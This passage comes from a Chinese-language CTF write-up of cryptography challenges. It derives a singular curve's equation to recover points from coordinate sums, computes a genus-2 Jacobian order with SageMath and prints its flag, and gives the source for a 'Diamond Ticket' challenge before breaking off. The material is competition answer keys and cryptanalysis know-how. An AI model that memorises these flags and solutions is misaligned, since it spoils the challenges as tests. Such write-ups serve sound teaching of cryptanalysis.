class="z-support z-function z-builtin z-python">input</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Your reveal: &quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Couldn&#39;t parse.&quot;</span><span class="z-punctuation">)</span><span class="z-source">; </span><span class="z-keyword z-control z-flow z-python">continue</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> all</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">P</span><span class="z-keyword z-operator"> ==</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-keyword z-operator">*</span><span class="z-meta z-function-call z-arguments z-python">c</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-meta z-function-call z-arguments z-python"> P</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> c</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> zip</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">Ps</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> ans</span><span class="z-punctuation">)):</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Correct! &quot;</span><span class="z-keyword z-operator"> +</span><span class="z-support z-function z-builtin z-python"> open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;flag.txt&quot;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">read</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Wrong...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Farewell.&quot;</span><span class="z-punctuation">)</span><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"><span class="z-source"> </span></span></code></pre><h3 id="jie-ti-si-lu-qi-yi-qu-xian-shang-de-zuo-biao-hui-fu">解题思路：奇异曲线上的坐标恢复</h3> <p>本次挑战的核心在于一个自定义的、非标准的 <strong>“椭圆曲线”</strong> 密码系统。服务器没有直接给出点的坐标，而是给了两个随机点 $P_1$、$P_2$ 以及它们的和 $P_3=P_1+P_2$ 的 <strong>坐标之和</strong>（即 $x_i+y_i$）。 我们的任务是仅根据这些和，恢复出这三个点的完整坐标。</p> <h3 id="di-yi-bu-hui-fu-qu-xian-fang-cheng">第一步：恢复曲线方程</h3> <p>挑战代码中最关键的函数 <code>isOnCurve</code> 被隐藏，因此必须 <strong>从点的加法运算 (<code>__add__</code>) 中反向推导出曲线方程</strong>。 点加法分为两种情况：<strong>两点相加</strong> 和 <strong>点倍加</strong>。通常点倍加的公式更简洁，是推导的突破口。</p> <p>下面是点倍加相关的代码（已作简化）：</p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-source">dy_term</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source">dy2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> dy_term</span><span class="z-keyword z-operator"> *</span><span class="z-source"> dy_term</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># ...</span></span> <span class="giallo-l"><span class="z-source">s</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-constant z-numeric">2</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> *</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">3</span><span class="z-keyword z-operator"> *</span><span class="z-meta z-function-call z-arguments z-python"> dy2</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span></code></pre> <ul> <li><code>s</code> 表示点 $P(x,y)$ 处切线的斜率。 可写成数学形式：</li> </ul> <p>$$ s = \frac{2x}{3(y-1337)^2}\pmod n $$</p> <p>对于隐式曲线 $F(x,y)=0$ 上的任意点，切线斜率满足</p> <p>$$ \frac{dy}{dx}= -\frac{\partial F/\partial x}{\partial F/\partial y} $$</p> <p>把代码里得到的斜率 $s$ 与上述公式对应，可得到假设：</p> <p>$$ \begin{aligned} \frac{\partial F}{\partial x} &amp;= -k\cdot 2x ,\ \frac{\partial F}{\partial y} &amp;= k\cdot 3(y-1337)^2, \end{aligned} $$</p> <p>其中 $k$ 为常数（取 $k=-1$ 简化）。对两式分别积分得</p> <p>$$ \begin{aligned} F(x,y) &amp;= \int 2x,dx = x^2 + g(y),\ F(x,y) &amp;= \int -3(y-1337)^2,dy = -(y-1337)^3 + h(x). \end{aligned} $$</p> <p>取常数为 0，得到 <strong>曲线方程</strong></p> <p>$$ \boxed{,x^{2} \equiv (y-1337)^{3}\pmod n,} $$</p> <!-- 即 $$ x^{2} \equiv (y-1337)^{3}\pmod n, $$ --> <p>它是一条 <strong>奇异曲线</strong>（在点 $(0,1337)$ 处有尖点），虽然不是正规椭圆曲线，但在其非奇异点仍可定义加法群。</p> <hr /> <h3 id="di-er-bu-fen-xi-tiao-zhan-yu-lou-dong">第二步：分析挑战与漏洞</h3> <p>已知三个值 $s_1,s_2,s_3$ 满足：</p> <ul> <li> <p>$P_1=(x_1,y_1)$ 在曲线上且</p> <p>$$ x_1+y_1 = s_1 \pmod n \quad\Rightarrow\quad y_1 = s_1 - x_1 \pmod n. $$</p> </li> <li> <p>$P_2=(x_2,y_2)$ 同理，满足</p> <p>$$ y_2 = s_2 - x_2 \pmod n. $$</p> </li> <li> <p>$P_3=P_1+P_2 = (x_3,y_3)$ 且</p> <p>$$ x_3 + y_3 = s_3 \pmod n . $$</p> </li> </ul> <p>对每个点 $P_i$ 有两条约束：</p> <ol> <li> <p><strong>线性关系</strong></p> <p>$$ y_i = s_i - x_i \pmod n . $$</p> </li> <li> <p><strong>曲线方程</strong></p> <p>$$ x_i^{2} = (y_i-1337)^{3} \pmod n . $$</p> </li> </ol> <p>把线性关系代入曲线方程，得到单变量三次方程</p> <p>$$ \boxed{,x_i^{2} = (s_i - x_i - 1337)^{3} \pmod n,}, $$</p> <p>每个点分别对应一个方程。单独求解这三个方程虽然可行，却忽略了<strong>点加法</strong>的代数关联。脚本利用了此关联，构造更强的约束来直接求解。</p> <hr /> <h3 id="di-san-bu-qiu-jie-ce-lue-duo-xiang-shi-jie-shi-polynomial-resultant">第三步：求解策略 —— 多项式结式 (Polynomial Resultant)</h3> <p>核心思路：利用 <strong>结式</strong>（Resultant）消去变量，从而把多元方程系统转化为一元方程。</p> <h3 id="1-gou-zao-yue-shu-duo-xiang-shi">1. 构造约束多项式</h3> <ul> <li> <p><strong>点 $P_1$ 的约束</strong>（代入 $y_1=s_1-x_1$）</p> <p>$$ E_1(x_1) ;=; x_1^{2} - (s_1 - x_1 - 1337)^{3};\equiv;0\pmod n . $$</p> </li> <li> <p><strong>点 $P_2$ 的约束</strong></p> <p>$$ E_2(x_2) ;=; x_2^{2} - (s_2 - x_2 - 1337)^{3};\equiv;0\pmod n . $$</p> </li> <li> <p><strong>点加法约束</strong> 设 $P_3=(x_3,y_3)$。两点相加的（简化）公式为</p> <p>$$ \begin{aligned} \lambda &amp; = \frac{y_2 - y_1}{x_2 - x_1},\ x_3 &amp; = \lambda^{2} - x_1 - x_2,\ y_3 &amp; = \lambda(x_1 - x_3) - y_1 . \end{aligned} $$</p> <p>代入 $y_1=s_1-x_1$, $y_2=s_2-x_2$ 并使用 $x_3+y_3=s_3$，可得到只含 $x_1,x_2$ 的多项式</p> <p>$$ F(x_1,x_2)=0 . $$</p> </li> </ul> <p>于是得到 <strong>三方程系统</strong></p> <p>$$ \begin{cases} E_1(x_1) = 0,\ E_2(x_2) = 0,\ F(x_1,x_2) = 0 . \end{cases} $$</p> <h3 id="2-di-yi-ci-xiao-yuan">2. 第一次消元</h3> <p>计算 <strong>结式</strong>，消去 $x_1$：</p> <p>$$ R_1(x_2)=\operatorname{resultant}\big(F(x_1,x_2),,E_1(x_1),,x_1\big) . $$</p> <p>此时 $R_1(x_2)$ 只含变量 $x_2$，它的根即为满足前两条约束的 $x_2$。</p> <h3 id="3-qu-gong-gong-gen">3. 取公共根</h3> <p>需要 $x_2$ 同时满足</p> <p>$$ R_1(x_2)=0,\qquad E_2(x_2)=0 . $$</p> <p>使用 <strong>最大公约数</strong>（GCD）求公共根：</p> <p>$$ g(x_2)=\gcd\big(R_1(x_2),,E_2(x_2)\big) . $$</p> <p>在唯一解的情况下，$g$ 必为一次多项式</p> <p>$$ g(x_2)=c,(x_2-x_{2,\text{sol}}) . $$</p> <p>于是可直接读取</p> <p>$$ x_{2,\text{sol}} = \text{root}(g) . $$</p> <h3 id="4-hui-dai-qiu-jie">4. 回代求解</h3> <ul> <li> <p>计算 $y_2 = s_2 - x_2$（模 $n$）得到 $P_2$ 完整坐标。</p> </li> <li> <p>交换角色或再利用一次 <strong>resultant</strong> 可以求出 $x_1$ 与 $y_1$。</p> </li> <li> <p>最后直接调用源码中的 <code>__add__</code>（或使用上面的公式）计算</p> <p>$$ P_3 = P_1 + P_2 $$</p> <p>得到 $(x_3, y_3)$ 并验证 $x_3 + y_3 \equiv s_3\pmod n$。</p> </li> </ul> <hr /> <h3 id="xiao-jie">小结</h3> <ol> <li> <p><strong>从点倍加的斜率</strong>逆推出了奇异曲线方程</p> <p>$$ x^{2} \equiv (y-1337)^{3}\pmod n . $$</p> </li> <li> <p><strong>利用线性关系</strong>把每个点的坐标化为单变量三次方程。</p> </li> <li> <p><strong>构造点加法约束</strong>得到两变量多项式 $F(x_1,x_2)$。</p> </li> <li> <p><strong>利用结式与 GCD</strong> 消除变量，得到唯一的 $x_2$（进而得到全部点的坐标）。</p> </li> </ol> <p>这样即可仅凭 “坐标之和” 恢复出所有点的完整坐标，完成挑战。</p> <p>Exploit 如下题，直接看 <code>Sadness ECC - Revenge</code></p> <h2 id="happy-ecc">Happy ECC</h2> <p>这道题是一个基于超椭圆曲线密码学的挑战。我们需要在一个未知的二亏格（genus 2）超椭圆曲线上，计算一个给定点的阶。</p> <blockquote> <p>赛后知道一部分是<a rel="external" href="https://inria.hal.science/inria-00512403/document">论文</a>，不过 SageMath 已经实现好了，而且计算方法有很多</p> </blockquote> <h4 id="jie-ti-si-lu"><strong>解题思路</strong></h4> <p>核心分为三个步骤：</p> <ol> <li><strong>恢复曲线方程</strong>: 由于曲线方程 $y^2 = f(x)$ 中的多项式 $f(x)$ 是未知的，我们首先需要利用题目提供的信息来恢复它。</li> <li><strong>计算群阶</strong>: 在获得完整的曲线定义后，计算其雅可比群（Jacobian group）的总阶。</li> <li><strong>计算点的真阶</strong>: 利用群的总阶和拉格朗日定理，计算出目标点的真实阶。</li> </ol> <hr /> <h4 id="di-yi-bu-hui-fu-qu-xian-duo-xiang-shi-f-x"><strong>第一步：恢复曲线多项式 $f(x)$</strong></h4> <p>题目中的超椭圆曲线定义在有限域 $GF(p)$ 上，形式为 $y^2 = f(x)$，其中 $f(x)$ 是一个首一（monic）的5次多项式。曲线的亏格 $g = \lfloor(\deg(f)-1)/2\rfloor = \lfloor(5-1)/2\rfloor = 2$。</p> <p>在超椭圆曲线的雅可比群中，元素（除子）通常用 <strong>Mumford 表示法</strong> 表示为一个二元组 $(U(x), V(x))$，其中 $U, V$ 都是多项式，且满足以下关键性质：</p> <ol> <li>$U(x)$ 是首一多项式，且其次数 $\deg(U) \le g$。</li> <li>$\deg(V) &lt; \deg(U)$。</li> <li>$V(x)^2 \equiv f(x) \pmod{U(x)}$。</li> </ol> <p>这个关系是恢复 $f(x)$ 的基础。我们可以通过与服务器交互，多次选择选项1，获取几个点 $P_i = (U_i, V_i)$。对于每个点，我们都得到一个关于未知多项式 $f(x)$ 的同余方程： $$f(x) \equiv V_i(x)^2 \pmod{U_i(x)}$$ 由于 $f(x)$ 的次数为5，而每个 $U_i(x)$ 的次数都为 $g=2$，我们需要足够多的同余方程来唯一确定 $f(x)$。脚本中请求了3个点，得到了一个同余方程组： $$\begin{cases} f(x) \equiv V_1(x)^2 \pmod{U_1(x)} \ f(x) \equiv V_2(x)^2 \pmod{U_2(x)} \ f(x) \equiv V_3(x)^2 \pmod{U_3(x)} \end{cases}$$ 三个模数 $U_1, U_2, U_3$ 的乘积次数为 $2+2+2=6$，大于 $f(x)$ 的次数5。因此，我们可以使用<strong>多项式中国剩余定理 (Chinese Remainder Theorem for Polynomials)</strong> 来解出这个方程组，从而唯一确定 $f(x)$。<code>solve.py</code> 脚本中的 <code>CRT_list</code> 函数正是实现了这个功能。</p> <hr /> <h4 id="di-er-bu-ji-suan-ya-ke-bi-qun-de-jie"><strong>第二步：计算雅可比群的阶</strong></h4> <p>在恢复了 $f(x)$ 后，我们就得到了曲线的完整定义。曲线的雅可比群 $J(C)$ 是一个有限阿贝尔群，其阶（即群中元素的数量）可以通过计算 <strong>Frobenius 自同态的特征多项式</strong> $\chi_C(t)$ 得到。 雅可比群的阶 $|J(C)|$ 由下式给出： $$|J(C)| = \chi_C(1)$$ SageMath 库提供了直接计算这个多项式的函数 <code>H.frobenius_polynomial()</code>。脚本中通过调用 <code>sum(H.frobenius_polynomial())</code>，实际上就是计算了 $\chi_C(t)$ 在 $t=1$ 处的值，从而得到了群的总阶 $N = |J(C)|$。</p> <blockquote> <p>似乎别的函数还要再快一些，但快不了多少…</p> </blockquote> <hr /> <h4 id="di-san-bu-ji-suan-dian-g-de-zhen-shi-jie"><strong>第三步：计算点 $G$ 的真实阶</strong></h4> <p>服务器最后会给出一个挑战点 $G = (G_U, G_V)$，要求我们计算它的阶。根据<strong>拉格朗日定理</strong>，点 $G$ 的阶 $\text{ord}(G)$ 必须整除群的总阶 $N$。</p> <p>为了找到 $G$ 的<strong>真实阶</strong>（即满足 $k \cdot G = \mathcal{O}$ 的最小正整数 $k$，其中 $\mathcal{O}$ 是单位元），我们采用以下算法：</p> <ol> <li> <p>计算群阶 $N = |J(C)|$。</p> </li> <li> <p>对 $N$ 进行质因数分解：$N = p_1^{e_1} p_2^{e_2} \cdots p_k^{e_k}$。</p> </li> <li> <p>初始化一个候选阶 <code>order_candidate</code> 为 $N$。</p> </li> <li> <p>对每一个质因子 $p_i$，我们不断尝试用它去除 <code>order_candidate</code>。只要 $(\text{order_candidate} / p_i) \cdot G$ 的结果是单位元（在Mumford表示中，单位元是 $(U=1, V=0)$），我们就更新 <code>order_candidate</code>：</p> <p>$$\text{order_candidate} \leftarrow \frac{\text{order_candidate}}{p_i}$$</p> <p>这个过程一直持续到除以 $p_i$ 后不再是单位元为止。</p> </li> <li> <p>遍历完所有质因子后，<code>order_candidate</code> 的最终值就是点 $G$ 的真实阶。</p> </li> </ol> <p>将这个阶发送给服务器，即可获得 flag。</p> <pre class="giallo z-code"><code data-lang="plain"><span class="giallo-l"><span>idek{find_the_order_of_hyperelliptic_curve_is_soooo_hard:((}</span></span></code></pre> <p>懒得贴了，直接看 <code>Happy ECC - Revenge</code> 的 Exploit，没啥区别</p> <h2 id="diamond-ticket">Diamond Ticket</h2> <h3 id="ti-mu-1">题目</h3> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> Crypto</span><span class="z-punctuation">.</span><span class="z-source">Util</span><span class="z-punctuation">.</span><span class="z-source">number</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#Some magic from Willy Wonka</span></span> <span class="giallo-l"><span class="z-source">p</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 170829625398370252501980763763988409583</span></span> <span class="giallo-l"><span class="z-source">a</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 164164878498114882034745803752027154293</span></span> <span class="giallo-l"><span class="z-source">b</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 125172356708896457197207880391835698381</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> chocolate_generator</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">m</span><span class="z-punctuation">:</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">) -&gt;</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation"> (</span><span class="z-support z-function z-builtin z-python">pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">a</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> m</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> p</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> +</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">b</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> m</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> p</span><span class="z-punctuation">))</span><span class="z-keyword z-operator"> %</span><span class="z-source"> p</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#The diamond ticket is hiding inside chocolate</span></span> <span class="giallo-l"><span class="z-source">diamond_ticket</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;flag.txt&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;rb&quot;</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">read</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">assert</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">diamond_ticket</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 26</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">assert</span><span class="z-meta z-indexed-name z-python"> diamond_ticket</span><span class="z-punctuation">[:</span><span class="z-constant z-numeric">5</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> ==</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&quot;idek{&quot;</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">assert</span><span class="z-meta z-indexed-name z-python"> diamond_ticket</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">:]</span><span class="z-keyword z-operator"> ==</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&quot;}&quot;</span></span> <span class="giallo-l"><span class="z-source">diamond_ticket</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> bytes_to_long</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">diamond_ticket</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">5</span><span class="z-punctuation">:</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">])</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">flag_chocolate</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> chocolate_generator</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">diamond_ticket</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">chocolate_bag</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#Willy Wonka are making chocolates</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1337</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> chocolate_bag</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">getRandomRange</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> p</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#And he put the golden ticket at the end</span></span> <span class="giallo-l"><span class="z-source">chocolate_bag</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">flag_chocolate</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#Augustus ate lots of chocolates, but he can&#39;t eat all cuz he is full now :D</span></span> <span class="giallo-l"><span class="z-source">remain</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-indexed-name z-python"> chocolate_bag</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">5</span><span class="z-punctuation">:]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#Compress all remain chocolates into one</span></span> <span class="giallo-l"><span class="z-source">remain_bytes</span><span class="z-keyword z-operator"> =</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string">&quot;&quot;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">([</span><span class="z-meta z-function-call z-arguments z-python">c</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">to_bytes</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">bit_length</span><span class="z-punctuation">()</span><span class="z-keyword z-operator">//</span><span class="z-constant z-numeric">8</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;big&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-meta z-function-call z-arguments z-python"> c</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-meta z-function-call z-arguments z-python"> remain</span><span class="z-punctuation">])</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#The last chocolate is too important, so Willy Wonka did magic again</span></span> <span class="giallo-l"><span class="z-source">P</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> getPrime</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">512</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">Q</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> getPrime</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">512</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">N</span><span class="z-keyword z-operator"> =</span><span class="z-source"> P</span><span class="z-keyword z-operator"> *</span><span class="z-source"> Q</span></span> <span class="giallo-l"><span class="z-source">e</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> bytes_to_long</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;idek{this_is_a_fake_flag_lolol}&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">d</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">e</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">, (</span><span class="z-meta z-function-call z-arguments z-python">P</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> *</span><span class="z-punctuation"> (</span><span class="z-meta z-function-call z-arguments z-python">Q</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source">c1</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">bytes_to_long</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">remain_bytes</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-arguments z-python"> e</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> N</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">c2</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">bytes_to_long</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">remain_bytes</span><span class="z-punctuation">),</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> N</span><span class="z-punctuation">)</span><span class="z-punctuation z-definition z-comment z-comment"> # A small gift</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#How can you get it ?</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">N = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">c1 = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">c2 = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span><span class="z-source"> </span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string">N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867</span></span> <span class="giallo-l"><span class="z-string">c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301</span></span> <span class="giallo-l"><span class="z-string">c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string">&quot;&quot;&quot;</span></span></code></pre> <p>这题一开始思路被带偏，上来就是 $\pmod {p-1}$ 走了多少弯路</p> <p>因为有爆破的成分在，我们继续 Golang</p> <blockquote> <p>VibeCoding 时要注意 Review，这里就是循环里得额外手动优化，AI 很笨，每个循环里都在做大数乘法</p> </blockquote> <h2 id="1-wen-ti-gai-shu">1. 问题概述</h2> <p>我们需要求出 <strong><code>diamond_ticket</code></strong> 的值，它是一个长度为 20 字节的可打印 ASCII 字符串，记为整数</p> <p>$$ m \in [m_{\text{min}},,m_{\text{max}}] . $$</p> <p>在题目提供的 Python 脚本中，<code>m</code> 被视作一个 20 字节的整数，并被代入函数</p> <p>$$ \text{flag_chocolate}= (a^m+b^m)\bmod p , $$</p> <p>其中</p> <ul> <li>$p$ 为大素数</li> <li>$a,b$ 为已知常数</li> </ul> <p>后半段涉及 RSA 加密，但 <strong>公钥指数 $e$ 为偶数</strong>，导致 $\gcd(e,\varphi(N))\neq 1$ 且私钥不可求，暗示 RSA 部分是误导，真正的突破点在 <strong>第一部分的数论约束</strong>。</p> <p>下面的分析以 